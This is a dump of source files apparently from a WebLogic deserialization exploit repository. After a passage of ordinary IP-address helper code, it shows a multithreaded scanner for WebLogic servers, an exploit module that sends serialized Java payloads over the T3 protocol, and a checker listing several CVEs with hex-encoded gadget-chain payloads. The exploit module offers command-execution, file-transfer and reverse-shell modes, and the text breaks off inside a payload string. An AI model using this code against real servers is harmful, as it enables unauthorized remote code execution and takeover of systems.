| elif version == 6: 1483 | return 128 1484 | else: 1485 | raise ValueError("only IPv4 and IPv6 supported") 1486 | 1487 | 1488 | def _countFollowingZeros(l): 1489 | """Return number of elements containing 0 at the beginning of the list.""" 1490 | if len(l) == 0: 1491 | return 0 1492 | elif l[0] != 0: 1493 | return 0 1494 | else: 1495 | return 1 + _countFollowingZeros(l[1:]) 1496 | 1497 | 1498 | _BitTable = {'0': '0000', '1': '0001', '2': '0010', '3': '0011', 1499 | '4': '0100', '5': '0101', '6': '0110', '7': '0111', 1500 | '8': '1000', '9': '1001', 'a': '1010', 'b': '1011', 1501 | 'c': '1100', 'd': '1101', 'e': '1110', 'f': '1111'} 1502 | 1503 | def _intToBin(val): 1504 | """Return the binary representation of an integer as string.""" 1505 | 1506 | if val < 0: 1507 | raise ValueError("Only positive values allowed") 1508 | s = "%x" % val 1509 | ret = '' 1510 | for x in s: 1511 | ret += _BitTable[x] 1512 | # remove leading zeros 1513 | while ret[0] == '0' and len(ret) > 1: 1514 | ret = ret[1:] 1515 | return ret 1516 | 1517 | def _count1Bits(num): 1518 | """Find the highest bit set to 1 in an integer.""" 1519 | ret = 0 1520 | while num > 0: 1521 | num = num >> 1 1522 | ret += 1 1523 | return ret 1524 | 1525 | def _count0Bits(num): 1526 | """Find the highest bit set to 0 in an integer.""" 1527 | 1528 | # this could be so easy if _count1Bits(~int(num)) would work as excepted 1529 | num = int(num) 1530 | if num < 0: 1531 | raise ValueError("Only positive Numbers please: %s" % (num)) 1532 | ret = 0 1533 | while num > 0: 1534 | if num & 1 == 1: 1535 | break 1536 | num = num >> 1 1537 | ret += 1 1538 | return ret 1539 | 1540 | 1541 | def _checkPrefix(ip, prefixlen, version): 1542 | """Check the validity of a prefix 1543 | 1544 | Checks if the variant part of a prefix only has 0s, and the length is 1545 | correct. 1546 | 1547 | >>> _checkPrefix(0x7f000000, 24, 4) 1548 | 1 1549 | >>> _checkPrefix(0x7f000001, 24, 4) 1550 | 0 1551 | >>> repr(_checkPrefix(0x7f000001, -1, 4)) 1552 | 'None' 1553 | >>> repr(_checkPrefix(0x7f000001, 33, 4)) 1554 | 'None' 1555 | """ 1556 | 1557 | # TODO: unify this v4/v6/invalid code in a function 1558 | bits = _ipVersionToLen(version) 1559 | 1560 | if prefixlen < 0 or prefixlen > bits: 1561 | return None 1562 | 1563 | if ip == 0: 1564 | zbits = bits + 1 1565 | else: 1566 | zbits = _count0Bits(ip) 1567 | if zbits < bits - prefixlen: 1568 | return 0 1569 | else: 1570 | return 1 1571 | 1572 | 1573 | def _checkNetmask(netmask, masklen): 1574 | """Checks if a netmask is expressable as a prefixlen.""" 1575 | 1576 | num = int(netmask) 1577 | bits = masklen 1578 | 1579 | # remove zero bits at the end 1580 | while (num & 1) == 0 and bits != 0: 1581 | num = num >> 1 1582 | bits -= 1 1583 | if bits == 0: 1584 | break 1585 | # now check if the rest consists only of ones 1586 | while bits > 0: 1587 | if (num & 1) == 0: 1588 | raise ValueError("Netmask 0x%x can't be expressed as an prefix." % netmask) 1589 | num = num >> 1 1590 | bits -= 1 1591 | 1592 | 1593 | def _checkNetaddrWorksWithPrefixlen(net, prefixlen, version): 1594 | """Check if a base addess of a network is compatible with a prefixlen""" 1595 | try: 1596 | return (net & _prefixlenToNetmask(prefixlen, version) == net) 1597 | except ValueError: 1598 | return False 1599 | 1600 | 1601 | def _netmaskToPrefixlen(netmask): 1602 | """Convert an Integer representing a netmask to a prefixlen. 1603 | 1604 | E.g. 0xffffff00 (255.255.255.0) returns 24 1605 | """ 1606 | 1607 | netlen = _count0Bits(netmask) 1608 | masklen = _count1Bits(netmask) 1609 | _checkNetmask(netmask, masklen) 1610 | return masklen - netlen 1611 | 1612 | 1613 | def _prefixlenToNetmask(prefixlen, version): 1614 | """Return a mask of n bits as a long integer. 1615 | 1616 | From 'IP address conversion functions with the builtin socket module' 1617 | by Alex Martelli 1618 | http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66517 1619 | """ 1620 | if prefixlen == 0: 1621 | return 0 1622 | elif prefixlen < 0: 1623 | raise ValueError("Prefixlen must be > 0") 1624 | return ((2<0 else '' 57 | for s in host.services: 58 | if s.state == 'open': 59 | port = s.port 60 | service = s.service 61 | banner = s.banner 62 | # 63 | results.append({'ip':ip,'os':os,'port':port,'service':service,'banner':banner}) 64 | # 65 | except Exception,e: 66 | self.print_result('[-]parse nmap xml file exception:%s'%e) 67 | 68 | return results 69 | 70 | def __get_target_from_line(self): 71 | ''' 72 | get target from cmd line by --u(target) 73 | ''' 74 | try: 75 | ips = IP(self.args.target) 76 | 77 | self.__target_total = len(ips) 78 | for ip in ips: 79 | self.queue_target.put({'ip':str(ip),'port':self.args.port,'os':''}) 80 | return True 81 | except Exception, ex: 82 | self.print_result("[-]Fail to get target:%s" % ex.message) 83 | return False 84 | 85 | def __get_target_from_nmap_file(self): 86 | ''' 87 | get target from nmap xml file by --f(nmap xmlfile) 88 | ''' 89 | results = self.__parse_nmap_xml_file(self.args.file) 90 | for r in results: 91 | if r['banner'].lower().find('weblogic') >=0: 92 | os = '' 93 | if r['os'].lower().find('windows') >=0: 94 | os = 'win' 95 | elif r['os'].lower().find('linux') >=0: 96 | os = 'linux' 97 | self.queue_target.put({'ip':r['ip'],'port':str(r['port']),'os':os}) 98 | self.__target_total += 1 99 | 100 | return True 101 | 102 | 103 | def generate_target_queue(self): 104 | ''' 105 | generate all the target ip 106 | ''' 107 | if self.args.target != None: 108 | return self.__get_target_from_line() 109 | if self.args.file != None: 110 | return self.__get_target_from_nmap_file() 111 | 112 | return False 113 | 114 | def __get_one_target(self): 115 | ''' 116 | get one target from queue, and get the progress 117 | ''' 118 | if self.queue_target.empty(): 119 | return None 120 | try: 121 | target = self.queue_target.get(block=False) 122 | 123 | self.__progress_num += 1 124 | progress_now = 100 * self.__progress_num / self.__target_total 125 | if progress_now - self.__progress_last >= self.__progress_deltal: 126 | self.__progress_last = progress_now 127 | self.print_result( 128 | '[-]progress: %d%%...' % self.__progress_last) 129 | 130 | return target 131 | 132 | except: 133 | return None 134 | 135 | def __print_progress(self, msg): 136 | ''' 137 | show progress message 138 | ''' 139 | self.__lock_output_msg.acquire() 140 | console_print.print_progress(msg) 141 | self.__lock_output_msg.release() 142 | 143 | def print_result(self, msg): 144 | ''' 145 | show result message 146 | ''' 147 | self.__queue_output_msg.put(msg) 148 | self.__lock_output_msg.acquire() 149 | console_print.print_result(msg) 150 | self.__lock_output_msg.release() 151 | 152 | 153 | def get_output_msg(self): 154 | ''' 155 | get one output message from queue 156 | ''' 157 | if self.__queue_output_msg.empty(): 158 | return None 159 | return self.__queue_output_msg.get() 160 | 161 | def do_scan(self): 162 | ''' 163 | scan process 164 | ''' 165 | # start 166 | self.lock_thread_num.acquire() 167 | self.thread_num += 1 168 | self.lock_thread_num.release() 169 | # do loop 170 | while True: 171 | if self.APP_STOP == True: 172 | break 173 | target = self.__get_one_target() 174 | if target == None: 175 | break 176 | # scan target 177 | self.__print_progress('target:%s...' % target['ip']) 178 | # 179 | target_info = self.do_scan_one_target(target['ip'], target['port'],target['os']) 180 | if len(target_info) > 0: 181 | for ti in target_info: 182 | info = '%s:%s,%s' % (ti[0], ti[1], ti[2]) 183 | logging.info (info) 184 | self.print_result('[+]' + info) 185 | # end 186 | self.lock_thread_num.acquire() 187 | self.thread_num -= 1 188 | self.lock_thread_num.release() 189 | 190 | 191 | def do_scan_one_target(self, target, ports, os = ''): 192 | ''' 193 | scan one target and everyone port 194 | ''' 195 | target_info = [] 196 | ports_list = ports.split(',') 197 | if os == '': 198 | os_type = ('linux','win') 199 | else: 200 | os_type = (os,) 201 | exp_type = 'verify' 202 | retry_count = 3 203 | 204 | weblogic_exp = weblogic.WeblogicExp(verbose=False) 205 | weblogic_exp.host = target 206 | weblogic_exp.socket_timeout = self.args.timeout 207 | #scan every port 208 | for p in ports_list: 209 | weblogic_exp.port = int(p) 210 | #guess os type 211 | port_scan_finish = False 212 | for os_type_one in os_type: 213 | weblogic_exp.os_type = os_type_one 214 | #scan retry: 215 | for run_count in range(retry_count): 216 | (result,msg) = weblogic_exp.run(exp_type) 217 | if result: 218 | target_info.append((target, p, msg)) 219 | port_scan_finish = True 220 | break 221 | #check if the host is down: 222 | if not result: 223 | host_down_msg=('timed out','Host is down') 224 | for m in host_down_msg: 225 | #if host is down,skip this scan 226 | if msg.find(m)>=0: 227 | port_scan_finish = True 228 | break 229 | #end guess os type 230 | if port_scan_finish: 231 | break 232 | 233 | return target_info 234 | 235 | def run(self): 236 | ''' 237 | run the scan process,and use multi-thread 238 | ''' 239 | get_target = self.generate_target_queue() 240 | if get_target == False: 241 | return 242 | print "[+]start run,total target:%d" % self.queue_target.qsize() 243 | for i in range(self.args.threads): 244 | t_scan = threading.Thread(target=self.do_scan, args=()) 245 | t_scan.setDaemon(True) 246 | t_scan.start() 247 | ctrl_c_num = 0 248 | while True: 249 | self.lock_thread_num.acquire() 250 | thread_num = self.thread_num 251 | self.lock_thread_num.release() 252 | if thread_num <= 0: 253 | break 254 | try: 255 | time.sleep(0.01) 256 | except KeyboardInterrupt: 257 | self.APP_STOP = True 258 | ctrl_c_num += 1 259 | if ctrl_c_num >3: 260 | break 261 | self.print_result( 262 | '[-]waiting for %d thread exit...' % self.thread_num) 263 | 264 | self.print_result("[-]done...") 265 | self.APP_STOP = True 266 | 267 | def get_argument(): 268 | ''' 269 | parse the cmd line,get the arguments 270 | ''' 271 | parser = argparse.ArgumentParser(description='weblogic scanner') 272 | parser.add_argument('-u','--target',help='scan target ip,for example: 192.168.1.1 or 192.168.1.0/24') 273 | parser.add_argument('-f','--file',help='read target from nmap xml file') 274 | parser.add_argument('-p','--port',default='7001',help=' server port,for example:7001,7002,80,default is 7001') 275 | parser.add_argument('-t','--threads',default=1,type=int,help='thread numbers,default is 1') 276 | parser.add_argument('-o','--timeout',default=10,type=int,help='socket connection timeout,default is 10') 277 | parser.add_argument('-l','--logfile',help='output the result to logfile,default logfile name is by datetime') 278 | 279 | args = parser.parse_args() 280 | if args.target == None and args.file == None: 281 | parser.print_help() 282 | print "You must set the target(-u) or nmap file (-f) to run !" 283 | exit() 284 | return args 285 | 286 | def main(): 287 | app = Scan(get_argument()) 288 | app.run() 289 | 290 | if __name__ == '__main__': 291 | main() 292 | -------------------------------------------------------------------------------- /bin/shellApp.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/bin/shellApp.jar -------------------------------------------------------------------------------- /bin/weblogic.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/bin/weblogic.jar -------------------------------------------------------------------------------- /bin/weblogic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | import socket 4 | import sys 5 | import struct 6 | import subprocess 7 | import argparse 8 | 9 | 10 | class WeblogicExp: 11 | 12 | def __init__(self, host=None, port=None, os_type=None, verbose=True,cmd=None): 13 | self.__java_shell = 'java -jar shellApp.jar ' 14 | self.__java_genPayload = 'java -jar genPayload.jar ' 15 | self.socket_timeout = 10 16 | self.host = host 17 | self.port = int(port) if port is not None else None 18 | self.os_type = os_type 19 | self.verbose = verbose 20 | self.cmd = cmd 21 | 22 | def __get_payload_bin(self, payload_type, os_type): 23 | host_platform_name = 'Windows' if os_type == 'win' else 'Linux' 24 | payload_file = 'payload_bin/payload_%s_%s.bin' % ( 25 | host_platform_name, payload_type) 26 | with open(payload_file, 'rb') as f: 27 | return f.read() 28 | 29 | def __print_msg(self, msg): 30 | if self.verbose: 31 | print msg 32 | 33 | def __t3_send(self, payload_bin): 34 | try: 35 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 36 | server_address = (self.host, self.port) 37 | sock.settimeout(self.socket_timeout) 38 | # print 'connecting to %s port %s' % server_address 39 | sock.connect(server_address) 40 | # Send headers 41 | headers = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' 42 | # print 'sending Hello' 43 | sock.sendall(headers) 44 | data = sock.recv(1024) 45 | #print >>sys.stderr, 'received "%s"' % data 46 | if not data.startswith('HELO'): 47 | msg = 't3_send exception: receive HELO fail!' 48 | self.__print_msg(msg) 49 | return (False, msg) 50 | 51 | payload = '\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' 52 | payload = payload + payload_bin 53 | payload = payload + \ 54 | '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' 55 | payloadLength = len(payload) + 4 56 | temp = struct.pack('>I', payloadLength) 57 | payload = temp + payload 58 | #payload = '\x00\x00\x09\xf1'+payload 59 | # print 'sending payload...length:%s' %len(payload) 60 | sock.send(payload) 61 | # print "send OK!" 62 | 63 | sock.close() 64 | return (True, 'ok') 65 | 66 | except Exception, e: 67 | msg = "t3_send exception:%s" % e 68 | self.__print_msg(msg) 69 | return (False, msg) 70 | 71 | def __shell_send(self, cmd): 72 | run_cmd = '%s %s %s %s %s' % ( 73 | self.__java_shell, self.host, self.port, self.os_type, cmd) 74 | app = subprocess.Popen(run_cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) 75 | app.wait() 76 | 77 | return app.stderr.read()+app.stdout.read() 78 | 79 | def __weblogic_connect(self): 80 | # 81 | self.__print_msg("sending upload payload...") 82 | # 83 | payload_upload_inst = self.__get_payload_bin( 84 | 'upload_inst', self.os_type) 85 | (result, msg) = self.__t3_send(payload_upload_inst) 86 | if not result: 87 | return (result, msg) 88 | # 89 | self.__print_msg("sending install payload...") 90 | # 91 | payload_inst = self.__get_payload_bin('inst', self.os_type) 92 | (result, msg) = self.__t3_send(payload_inst) 93 | if not result: 94 | return (result, msg) 95 | # 96 | return (True, 'ok') 97 | 98 | def __weblogic_disconn(self): 99 | # 100 | self.__print_msg("sending upload payload...") 101 | # 102 | payload_upload_uninst = self.__get_payload_bin( 103 | 'upload_uninst', self.os_type) 104 | (result, msg) = self.__t3_send(payload_upload_uninst) 105 | if not result: 106 | return (result, msg) 107 | # 108 | self.__print_msg("sending uninstall payload...") 109 | # 110 | payload_uninst = self.__get_payload_bin('uninst', self.os_type) 111 | (result, msg) = self.__t3_send(payload_uninst) 112 | if not result: 113 | return (result, msg) 114 | # 115 | self.__print_msg("sending delete payload...") 116 | # 117 | payload_delete = self.__get_payload_bin('delete', self.os_type) 118 | (result, msg) = self.__t3_send(payload_delete) 119 | if not result: 120 | return (result, msg) 121 | # 122 | return (True, 'ok') 123 | 124 | def __check_verify_response(self, msg): 125 | if msg == None: 126 | return False 127 | if msg == '': 128 | return False 129 | fail_msg_keywords=('null','exception','Exception','error','Error','/bin/sh','cmd.exe') 130 | for kw in fail_msg_keywords: 131 | if msg.find(kw) >=0: 132 | return False 133 | 134 | return True 135 | 136 | def __verify(self): 137 | (result, msg) = self.__weblogic_connect() 138 | if not result: 139 | return (result, msg) 140 | # 141 | self.__print_msg('execute "whoami"...') 142 | self.__print_msg('-'*40) 143 | # 144 | result_msg = self.__shell_send("whoami") 145 | result_msg = result_msg.strip() 146 | # 147 | self.__print_msg(result_msg) 148 | self.__print_msg('-'*40) 149 | # 150 | (result, msg) = self.__weblogic_disconn() 151 | if not result: 152 | return (result, msg) 153 | 154 | verify_result = self.__check_verify_response(result_msg) 155 | 156 | return (verify_result, result_msg) 157 | 158 | def __execute(self): 159 | (result, msg) = self.__weblogic_connect() 160 | if not result: 161 | return (result, msg) 162 | # 163 | self.__print_msg('execute "%s"...'%self.cmd) 164 | #self.__print_msg('-'*40) 165 | # 166 | result_msg = self.__shell_send(self.cmd) 167 | result_msg = result_msg.strip() 168 | # 169 | self.__print_msg(result_msg) 170 | #self.__print_msg('-'*40) 171 | # 172 | (result, msg) = self.__weblogic_disconn() 173 | if not result: 174 | return (result, msg) 175 | 176 | verify_result = self.__check_verify_response(result_msg) 177 | 178 | return (verify_result, result_msg) 179 | 180 | def __exploit(self): 181 | (result, msg) = self.__weblogic_connect() 182 | if not result: 183 | return (result, msg) 184 | # 185 | self.__print_msg('execute "whoami"...') 186 | self.__print_msg('-'*40) 187 | # 188 | result_msg = self.__shell_send("whoami") 189 | # 190 | self.__print_msg(result_msg) 191 | self.__print_msg('-'*40) 192 | 193 | while True: 194 | try: 195 | cmd = raw_input("exploit>") 196 | if cmd == 'quit' or cmd == 'exit': 197 | break 198 | if not cmd.startswith('putfile ') and not cmd.startswith('getfile '): 199 | cmd = '" %s "' % cmd 200 | # 201 | msg = self.__shell_send(cmd) 202 | self.__print_msg(msg) 203 | 204 | except KeyboardInterrupt, e: 205 | break 206 | 207 | (result, msg) = self.__weblogic_disconn() 208 | if not result: 209 | return (result, msg) 210 | 211 | return (True, 'ok') 212 | 213 | def __reverse_shell(self, LHOST, LPORT): 214 | # 215 | self.__print_msg("sending upload payload...") 216 | payload_upload = self.__get_payload_bin('upload_reverse', self.os_type) 217 | (result, msg) = self.__t3_send(payload_upload) 218 | if not result: 219 | return (result, msg) 220 | ## 221 | self.__print_msg("generate reverse payload...") 222 | run_cmd = '%s %s reverse %s %s ' % ( 223 | self.__java_genPayload, self.os_type, LHOST, LPORT) 224 | # print run_cmd 225 | app = subprocess.Popen(run_cmd, shell=True, stdout=subprocess.PIPE) 226 | app.wait() 227 | # 228 | self.__print_msg(app.stdout.read()) 229 | self.__print_msg("sending reverse payload...") 230 | 231 | payload = self.__get_payload_bin('reverse', self.os_type) 232 | (result, msg) = self.__t3_send(payload) 233 | if not result: 234 | return (result, msg) 235 | # 236 | return (True, 'ok') 237 | 238 | def run(self, exp_type, LHOST=None, LPORT=None): 239 | # check the parameters 240 | if self.host is None or self.port is None or self.os_type is None or exp_type is None: 241 | return (False, 'exception: check the parameters fail!') 242 | # do action: 243 | result = False 244 | msg = '' 245 | if exp_type == 'verify': 246 | (result, msg) = self.__verify() 247 | elif exp_type == 'exploit': 248 | if self.cmd is not None: 249 | (result,msg) = self.__execute() 250 | else: 251 | (result, msg) = self.__exploit() 252 | elif exp_type == 'reverse_shell': 253 | if LHOST is None or LPORT is None: 254 | msg = 'Please set LHOST and LPORT!' 255 | self.__print_msg(msg) 256 | return (False, msg) 257 | (result, msg) = self.__reverse_shell(LHOST, LPORT) 258 | 259 | self.__print_msg('done...') 260 | 261 | return (result, msg) 262 | 263 | 264 | def get_args(): 265 | parser = argparse.ArgumentParser() 266 | parser.add_argument('-u', '--host', help='weblogic host', required=True) 267 | parser.add_argument('-p', '--port', help='host port', required=True) 268 | parser.add_argument( 269 | '-os', '--os_type', choices=['win', 'linux'], help='os type', required=True) 270 | parser.add_argument('-t', '--exp_type', choices=['verify', 'exploit', 'reverse_shell'], 271 | help='exploit type; verify to check the vul,the exploit mode can run cmd and get the result,you can only execute one cmd by -c ; reverse_shell can get shell', required=True) 272 | parser.add_argument('-c', '--cmd', help='execute one cmd,eg:\'"ifconfig eth0"\'', required=False) 273 | parser.add_argument('--LHOST', help='reverse shell to the host ip') 274 | parser.add_argument('--LPORT', help='reverse shell to host port') 275 | parser.add_argument('--silent', action="store_true", 276 | default=False, help="don't show the verbose message") 277 | args = parser.parse_args() 278 | 279 | if args.exp_type == 'reverse_shell': 280 | if args.LHOST is None or args.LPORT is None: 281 | print 'Please set the reverse shell LHOST and LPORT!' 282 | return None 283 | 284 | return args 285 | 286 | 287 | def main(): 288 | args = get_args() 289 | if args is None: 290 | return 291 | 292 | app = WeblogicExp( 293 | args.host, args.port, args.os_type, verbose=True if not args.silent else False,cmd=args.cmd) 294 | (result, msg) = app.run(args.exp_type, LHOST=args.LHOST, LPORT=args.LPORT) 295 | print result, msg 296 | 297 | if __name__ == '__main__': 298 | main() 299 | -------------------------------------------------------------------------------- /bin/weblogic_check_vuls.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding:utf-8 3 | import socket 4 | import time 5 | import re 6 | import argparse 7 | from multiprocessing.dummy import Pool 8 | 9 | VUL=['CVE-2016-0638', 10 | 'CVE-2016-3510', 11 | 'CVE-2017-3248', 12 | 'CVE-2018-2628', 13 | 'CVE-2018-2893' 14 | ] 15 | PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a000